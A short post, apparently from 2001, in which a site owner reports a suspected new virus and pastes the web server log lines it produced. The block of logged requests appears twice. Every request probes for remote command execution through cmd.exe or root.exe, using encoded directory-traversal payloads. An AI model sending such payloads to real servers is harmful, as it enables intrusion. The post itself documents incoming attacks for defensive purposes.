Looks like there may be a new virus about. I keep seeing this in my logs:
213.206.5.65 - - [13/Sep/2001:16:53:16 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276
213.206.5.65 - - [13/Sep/2001:16:53:16 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 274
213.206.5.65 - - [13/Sep/2001:16:53:17 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
213.206.5.65 - - [13/Sep/2001:16:53:22 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
213.206.5.65 - - [13/Sep/2001:16:53:16 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276
213.206.5.65 - - [13/Sep/2001:16:53:16 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 274
213.206.5.65 - - [13/Sep/2001:16:53:17 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331
213.206.5.65 - - [13/Sep/2001:16:53:18 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
213.206.5.65 - - [13/Sep/2001:16:53:20 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
213.206.5.65 - - [13/Sep/2001:16:53:22 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298